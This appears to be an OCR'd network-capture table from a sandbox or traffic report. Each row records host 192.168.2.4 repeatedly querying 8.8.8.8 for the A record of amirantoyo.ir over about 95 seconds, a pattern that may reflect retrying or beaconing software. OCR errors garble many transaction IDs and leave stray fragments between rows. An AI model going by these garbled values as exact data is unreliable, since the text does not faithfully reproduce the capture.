Jul 20, 2021 18:36:44.559564114 CEST 192.168.2.4 8.8.8.8 0x6f43 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:36:45.015969992 CEST 192.168.2.4 8.8.8.8 0x353d Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:36:45.476893902 CEST 192.168.2.4 8.8.8.8 0x39c5 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:36:45.948124886 CEST 192.168.2.4 8.8.8.8 Ox1bca Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:36:46.407141924 CEST 192.168.2.4 8.8.8.8 0x1660 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:36:46.861125946 CEST 192.168.2.4 8.8.8.8 0xf650 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:36:47.308517933 CEST 192.168.2.4 8.8.8.8 0x81e7 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
)

Jul 20, 2021 18:36:47.784131050 CEST 192.168.2.4 8.8.8.8 Oxfddd Standard query  amirantoyo.ir A (IP address) IN (0x0001)
)

Jul 20, 2021 18:36:48.245289087 CEST 192.168.2.4 8.8.8.8 0x1169 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
O

Jul 20, 2021 18:36:48.709724903 CEST 192.168.2.4 8.8.8.8 0xc468 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:36:49.169415951 CEST 192.168.2.4 8.8.8.8 0xc409 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:36:49.601535082 CEST 192.168.2.4 8.8.8.8 0x2ed6 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:36:50.040951967 CEST 192.168.2.4 8.8.8.8 0x5ad5 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:36:50.488864899 CEST 192.168.2.4 8.8.8.8 0x281la Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:36:50.986428022 CEST 192.168.2.4 8.8.8.8 0x42eb Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:36:51.508245945 CEST 192.168.2.4 8.8.8.8 0x7¢c9c Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:36:51.955094099 CEST 192.168.2.4 8.8.8.8 0xf1b5 Standard query  amirantoyo.ir A (IP address) IN (0x0001)

©)
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Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Jul 20, 2021 18:36:52.413712025 CEST 192.168.2.4 8.8.8.8 0x1593 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:36:52.878341913 CEST 192.168.2.4 8.8.8.8 0xf619 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:36:53.356625080 CEST 192.168.2.4 8.8.8.8 0x9d3f Standard query ~ amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:36:53.814430952 CEST 192.168.2.4 8.8.8.8 0xf123 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:36:54.268363953 CEST 192.168.2.4 8.8.8.8 Oxe26d Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:36:54.722733021 CEST 192.168.2.4 8.8.8.8 Oxdbff Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:36:55.180603027 CEST 192.168.2.4 8.8.8.8 0x5370 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:36:55.629157066 CEST 192.168.2.4 8.8.8.8 0x2d3 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:36:56.100102901 CEST 192.168.2.4 8.8.8.8 0x344f Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:36:56.586481094 CEST 192.168.2.4 8.8.8.8 0x5¢52 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:36:57.030217886 CEST 192.168.2.4 8.8.8.8 0x8608 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
@

Jul 20, 2021 18:36:57.495758057 CEST 192.168.2.4 8.8.8.8 0x5946 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:36:57.940721035 CEST 192.168.2.4 8.8.8.8 0xc38b Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:36:58.388384104 CEST 192.168.2.4 8.8.8.8 Oxadd9 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
©)

Jul 20, 2021 18:36:58.829981089 CEST 192.168.2.4 8.8.8.8 0x9abl Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:36:59.284190893 CEST 192.168.2.4 8.8.8.8 0x2926 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:36:59.733937025 CEST 192.168.2.4 8.8.8.8 0x40f3 Standard query ~ amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:37:00.181812048 CEST 192.168.2.4 8.8.8.8 0x32a3 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:37:00.671442986 CEST 192.168.2.4 8.8.8.8 0x2803 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:01.116520882 CEST 192.168.2.4 8.8.8.8 0x72a9 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:01.613064051 CEST 192.168.2.4 8.8.8.8 0xa251 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:02.059429884 CEST 192.168.2.4 8.8.8.8 0xdd19 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:02.500781059 CEST 192.168.2.4 8.8.8.8 0x59ba Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:02.939253092 CEST 192.168.2.4 8.8.8.8 0xb988 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:03.391976118 CEST 192.168.2.4 8.8.8.8 0x7fa3 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:03.870287895 CEST 192.168.2.4 8.8.8.8 0x5431 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:04.558888912 CEST 192.168.2.4 8.8.8.8 0xc1f3 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:05.003978968 CEST 192.168.2.4 8.8.8.8 Ox4c8e Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0)

Jul 20, 2021 18:37:05.764090061 CEST 192.168.2.4 8.8.8.8 0x7734 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
O

Jul 20, 2021 18:37:07.451870918 CEST 192.168.2.4 8.8.8.8 Oxbb1f Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:37:07.908032894 CEST 192.168.2.4 8.8.8.8 0x5beb Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:37:08.390842915 CEST 192.168.2.4 8.8.8.8 0x8a4b Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:37:08.855509043 CEST 192.168.2.4 8.8.8.8 0x8063 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:37:09.304379940 CEST 192.168.2.4 8.8.8.8 0x2054 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:37:09.820336103 CEST 192.168.2.4 8.8.8.8 0xd0c3 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:37:10.273396969 CEST 192.168.2.4 8.8.8.8 Oxdd5d Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:37:10.710524082 CEST 192.168.2.4 8.8.8.8 0x743d Standard query  amirantoyo.ir A (IP address) IN (0x0001)

©)
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Jul 20, 2021 18:37:11.155545950 CEST 192.168.2.4 8.8.8.8 0xf1c8 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:37:11.622616053 CEST 192.168.2.4 8.8.8.8 0x8cab Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:37:12.086633921 CEST 192.168.2.4 8.8.8.8 0x1e53 Standard query ~ amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:37:12.536861897 CEST 192.168.2.4 8.8.8.8 0xe9f7 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:37:12.990297079 CEST 192.168.2.4 8.8.8.8 0x2300 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:37:13.425641060 CEST 192.168.2.4 8.8.8.8 0x720 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:13.875437975 CEST 192.168.2.4 8.8.8.8 0x8b8e Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:37:14.336559057 CEST 192.168.2.4 8.8.8.8 0x64dc Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:37:14.794780970 CEST 192.168.2.4 8.8.8.8 0x9344 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:15.276241064 CEST 192.168.2.4 8.8.8.8 0xla65 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:15.737159014 CEST 192.168.2.4 8.8.8.8 0xb8e Standard query  amirantoyo.ir A (IP address) IN (0x0001)
@

Jul 20, 2021 18:37:16.178814888 CEST 192.168.2.4 8.8.8.8 0xfld1l Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:16.692058086 CEST 192.168.2.4 8.8.8.8 0xb37 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:37:17.236052036 CEST 192.168.2.4 8.8.8.8 0x127b Standard query  amirantoyo.ir A (IP address) IN (0x0001)
©)

Jul 20, 2021 18:37:17.798310995 CEST 192.168.2.4 8.8.8.8 0xd3cl Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:37:18.297413111 CEST 192.168.2.4 8.8.8.8 0x154e Standard query ~ amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:37:18.824120045 CEST 192.168.2.4 8.8.8.8 0x8c87 Standard query ~ amirantoyo.ir A (IP address) IN (0x0001)
©)

Jul 20, 2021 18:37:19.289412022 CEST 192.168.2.4 8.8.8.8 Oxa0al Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:37:19.796124935 CEST 192.168.2.4 8.8.8.8 0xfb8a Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:20.293016911 CEST 192.168.2.4 8.8.8.8 0xa378 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:20.750020027 CEST 192.168.2.4 8.8.8.8 0x5c5¢ Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:21.217525959 CEST 192.168.2.4 8.8.8.8 Oxch6a Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:21.675928116 CEST 192.168.2.4 8.8.8.8 0x2342 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:22.128297091 CEST 192.168.2.4 8.8.8.8 0x9c32 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:22.567317963 CEST 192.168.2.4 8.8.8.8 0xfoc7 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:23.058594942 CEST 192.168.2.4 8.8.8.8 Oxbb9a Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:23.533997059 CEST 192.168.2.4 8.8.8.8 Oxad50 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:24.001624107 CEST 192.168.2.4 8.8.8.8 0xab75 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
)

Jul 20, 2021 18:37:24.466449976 CEST 192.168.2.4 8.8.8.8 Ox22e Standard query  amirantoyo.ir A (IP address) IN (0x0001)
O

Jul 20, 2021 18:37:24.928668976 CEST 192.168.2.4 8.8.8.8 0Ox8elc Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:37:25.385637045 CEST 192.168.2.4 8.8.8.8 Oxafb3 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:37:25.831232071 CEST 192.168.2.4 8.8.8.8 0x1c05 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:37:26.319288969 CEST 192.168.2.4 8.8.8.8 Oxe7da Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:37:26.776025057 CEST 192.168.2.4 8.8.8.8 0x323f Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:37:27.231738091 CEST 192.168.2.4 8.8.8.8 0x520c Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:37:27.696310997 CEST 192.168.2.4 8.8.8.8 0xfc9l Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:37:28.142036915 CEST 192.168.2.4 8.8.8.8 0Oxde76 Standard query  amirantoyo.ir A (IP address) IN (0x0001)

©)
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Jul 20, 2021 18:37:28.622389078 CEST 192.168.2.4 8.8.8.8 Oxc56a Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:37:29.159951925 CEST 192.168.2.4 8.8.8.8 0x822c Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:37:29.610243082 CEST 192.168.2.4 8.8.8.8 0x465d Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:37:30.185385942 CEST 192.168.2.4 8.8.8.8 Oxdee Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:37:30.648628950 CEST 192.168.2.4 8.8.8.8 0x18a9 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:37:31.118787050 CEST 192.168.2.4 8.8.8.8 0x3c20 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:31.604695082 CEST 192.168.2.4 8.8.8.8 0xa769 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0)

Jul 20, 2021 18:37:32.105710030 CEST 192.168.2.4 8.8.8.8 Oxd6e2 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:37:32.592041016 CEST 192.168.2.4 8.8.8.8 Oxaedb Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:33.047530890 CEST 192.168.2.4 8.8.8.8 0x401e Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:33.478322983 CEST 192.168.2.4 8.8.8.8 0xd81d Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:33.934930086 CEST 192.168.2.4 8.8.8.8 0x65ff Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:34.394506931 CEST 192.168.2.4 8.8.8.8 Oxada Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:37:34.825541973 CEST 192.168.2.4 8.8.8.8 0x5c98 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:37:35.287570953 CEST 192.168.2.4 8.8.8.8 0x35d4 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:37:35.765594006 CEST 192.168.2.4 8.8.8.8 Oxfdd Standard query ~ amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:37:36.201889038 CEST 192.168.2.4 8.8.8.8 0x4834 Standard query ~ amirantoyo.ir A (IP address) IN (0x0001)
©)

Jul 20, 2021 18:37:36.665657997 CEST 192.168.2.4 8.8.8.8 0x854c¢ Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:37.116071939 CEST 192.168.2.4 8.8.8.8 0x46b4 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:37:37.559041977 CEST 192.168.2.4 8.8.8.8 0x95c4 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:38.017957926 CEST 192.168.2.4 8.8.8.8 Oxalf5 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:38.499752045 CEST 192.168.2.4 8.8.8.8 0x490b Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:38.966823101 CEST 192.168.2.4 8.8.8.8 0x67e6 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:39.437591076 CEST 192.168.2.4 8.8.8.8 0xa662 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:39.937196016 CEST 192.168.2.4 8.8.8.8 0x9fb9 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:40.401073933 CEST 192.168.2.4 8.8.8.8 Oxfeb6 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:40.846229076 CEST 192.168.2.4 8.8.8.8 0x176a Standard query  amirantoyo.ir A (IP address) IN (0x0001)
)

Jul 20, 2021 18:37:41.354407072 CEST 192.168.2.4 8.8.8.8 0x8a30 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
)

Jul 20, 2021 18:37:41.840584993 CEST 192.168.2.4 8.8.8.8 0x7996 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
O

Jul 20, 2021 18:37:42.312673092 CEST 192.168.2.4 8.8.8.8 0x5ae9 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:37:42.846992970 CEST 192.168.2.4 8.8.8.8 Oxa36¢ Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:37:43.299982071 CEST 192.168.2.4 8.8.8.8 Oxcl3e Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:37:43.878074884 CEST 192.168.2.4 8.8.8.8 0x4bd2 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:37:44.416997910 CEST 192.168.2.4 8.8.8.8 0x69f6 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:37:44.862647057 CEST 192.168.2.4 8.8.8.8 0x693a Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:37:45.325558901 CEST 192.168.2.4 8.8.8.8 0x2ac0 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:37:45.782845974 CEST 192.168.2.4 8.8.8.8 0x93d8 Standard query  amirantoyo.ir A (IP address) IN (0x0001)

©)
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Jul 20, 2021 18:37:46.229042053 CEST 192.168.2.4 8.8.8.8 0x642e Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:37:46.754580021 CEST 192.168.2.4 8.8.8.8 Oxb7dd Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:37:47.221837997 CEST 192.168.2.4 8.8.8.8 0x4422 Standard query ~ amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:37:47.691067934 CEST 192.168.2.4 8.8.8.8 0x9344 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:37:48.276463985 CEST 192.168.2.4 8.8.8.8 0x703b Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:37:48.912483931 CEST 192.168.2.4 8.8.8.8 Oxb2d7 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:49.450298071 CEST 192.168.2.4 8.8.8.8 Oxebda Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:37:50.002446890 CEST 192.168.2.4 8.8.8.8 0x790c Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:37:50.455395937 CEST 192.168.2.4 8.8.8.8 0x388a Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:50.922780037 CEST 192.168.2.4 8.8.8.8 0x513b Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:51.387698889 CEST 192.168.2.4 8.8.8.8 0x2a00 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
@

Jul 20, 2021 18:37:51.893507004 CEST 192.168.2.4 8.8.8.8 Oxa314 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:52.374531031 CEST 192.168.2.4 8.8.8.8 0x838f Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:37:53.106760979 CEST 192.168.2.4 8.8.8.8 0x77ae Standard query  amirantoyo.ir A (IP address) IN (0x0001)
©)

Jul 20, 2021 18:37:53.569978952 CEST 192.168.2.4 8.8.8.8 Oxce8e Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:37:54.478027105 CEST 192.168.2.4 8.8.8.8 0xb2a6 Standard query ~ amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:37:56.024430037 CEST 192.168.2.4 8.8.8.8 0x191 Standard query ~ amirantoyo.ir A (IP address) IN (0x0001)
©)

Jul 20, 2021 18:37:56.502959013 CEST 192.168.2.4 8.8.8.8 0x46d Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:37:57.027936935 CEST 192.168.2.4 8.8.8.8 0x7580 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:57.501451969 CEST 192.168.2.4 8.8.8.8 0x8208 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:57.989918947 CEST 192.168.2.4 8.8.8.8 0xf915 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:58.442447901 CEST 192.168.2.4 8.8.8.8 0x2c13 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:58.908116102 CEST 192.168.2.4 8.8.8.8 0xfod7 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:59.363373041 CEST 192.168.2.4 8.8.8.8 0x751 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:37:59.835478067 CEST 192.168.2.4 8.8.8.8 Oxec84 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:38:00.401246071 CEST 192.168.2.4 8.8.8.8 0xf883 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:38:00.863673925 CEST 192.168.2.4 8.8.8.8 Ox7ffc Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:38:01.335470915 CEST 192.168.2.4 8.8.8.8 Ox8cea Standard query  amirantoyo.ir A (IP address) IN (0x0001)
)

Jul 20, 2021 18:38:01.808043957 CEST 192.168.2.4 8.8.8.8 0x5257 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
O

Jul 20, 2021 18:38:02.290435076 CEST 192.168.2.4 8.8.8.8 0x177d Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:38:02.732486010 CEST 192.168.2.4 8.8.8.8 Ox4aac Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:38:03.228456974 CEST 192.168.2.4 8.8.8.8 0x5523 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:38:03.683233976 CEST 192.168.2.4 8.8.8.8 0x50al Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:38:04.132855892 CEST 192.168.2.4 8.8.8.8 0x7ea5 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:38:04.645761013 CEST 192.168.2.4 8.8.8.8 0xd7fb Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:38:05.074738979 CEST 192.168.2.4 8.8.8.8 0x5d6d Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:38:05.523957014 CEST 192.168.2.4 8.8.8.8 0x97fe Standard query  amirantoyo.ir A (IP address) IN (0x0001)

©)
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Jul 20, 2021 18:38:05.953639030 CEST 192.168.2.4 8.8.8.8 Oxbdad Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:38:06.406615019 CEST 192.168.2.4 8.8.8.8 Oxe8ea Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:38:06.865113974 CEST 192.168.2.4 8.8.8.8 Ox3fda Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:38:07.318753004 CEST 192.168.2.4 8.8.8.8 0x8b4b Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:38:07.790884018 CEST 192.168.2.4 8.8.8.8 0xf3b3 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:38:08.223268032 CEST 192.168.2.4 8.8.8.8 0xdf32 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:38:08.653979063 CEST 192.168.2.4 8.8.8.8 0x8fc Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0)

Jul 20, 2021 18:38:09.078871012 CEST 192.168.2.4 8.8.8.8 Oxe0d1 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:38:09.547852039 CEST 192.168.2.4 8.8.8.8 Oxafdd Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:38:09.997695923 CEST 192.168.2.4 8.8.8.8 Oxdaea Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:38:10.490617990 CEST 192.168.2.4 8.8.8.8 0x57al Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:38:10.937055111 CEST 192.168.2.4 8.8.8.8 Oxcffb Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:38:11.437602997 CEST 192.168.2.4 8.8.8.8 0x63df Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:38:12.023991108 CEST 192.168.2.4 8.8.8.8 Oxafdl Standard query  amirantoyo.ir A (IP address) IN (0x0001)
©)

Jul 20, 2021 18:38:12.850768089 CEST 192.168.2.4 8.8.8.8 0xc76e Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:38:14.458703995 CEST 192.168.2.4 8.8.8.8 0xa033 Standard query ~ amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:38:14.911871910 CEST 192.168.2.4 8.8.8.8 0Oxdc3 Standard query ~ amirantoyo.ir A (IP address) IN (0x0001)
©)

Jul 20, 2021 18:38:15.383008957 CEST 192.168.2.4 8.8.8.8 0x3e48 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:38:15.838009119 CEST 192.168.2.4 8.8.8.8 0xd86b Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:38:16.286503077 CEST 192.168.2.4 8.8.8.8 0x3cd0 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:38:16.730627060 CEST 192.168.2.4 8.8.8.8 0x1193 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:38:17.180641890 CEST 192.168.2.4 8.8.8.8 0x9cfa Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:38:17.643002987 CEST 192.168.2.4 8.8.8.8 0x265a Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:38:18.181190014 CEST 192.168.2.4 8.8.8.8 0x51b2 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:38:18.624741077 CEST 192.168.2.4 8.8.8.8 0x8a35 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:38:19.071696043 CEST 192.168.2.4 8.8.8.8 0x7bd9 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:38:19.605797052 CEST 192.168.2.4 8.8.8.8 0x5ae7? Standard query  amirantoyo.ir A (IP address) IN (0x0001)
)

